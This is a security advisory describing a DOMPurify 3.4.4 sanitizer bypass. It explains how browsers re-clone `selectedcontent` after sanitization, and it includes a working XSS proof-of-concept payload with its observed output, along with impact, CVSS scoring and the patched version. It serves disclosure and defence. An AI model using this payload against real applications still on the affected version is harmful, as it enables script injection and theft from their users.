DOMPurify XSS via selectedcontent re-clone

### Summary DOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify. ### Details The chain is as follows: 1. The browser parses the input and creates a `<selectedcontent>` clone from the selected `<option>` 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original `<option>` and removes `selected=javascript:1` 4. The browser refreshes the `<selectedcontent>` clone from the original `option`'s content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside `<selectedcontent>`. ### PoC ```js const dirty = '<select><button><selectedcontent></selectedcontent></button>' + '<option selected=javascript:1>' + '<img src=x onerror=alert(1)>x' + '</option></select>'; const clean = DOMPurify.sanitize(dirty); console.log(clean); document.body.innerHTML = clean; ``` Observed "sanitized" output in Chromium 148/WebKit 625: ```html <select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select> ``` After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired: ```html <select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select> ``` Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`. ### Impact This is a default-configuration DOMPurify sanitizer bypass resulting in XSS. Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML. Source Code Location: https://github.com/cure53/DOMPurify Affected Packages: - npm:dompurify, affected = 3.4.4, patched in 3.4.5 CWEs: - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS: - Primary: score 8.2, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - CVSS_V3: score 8.2, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N References: - https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx - https://github.com/advisories/GHSA-87xg-pxx2-7hvx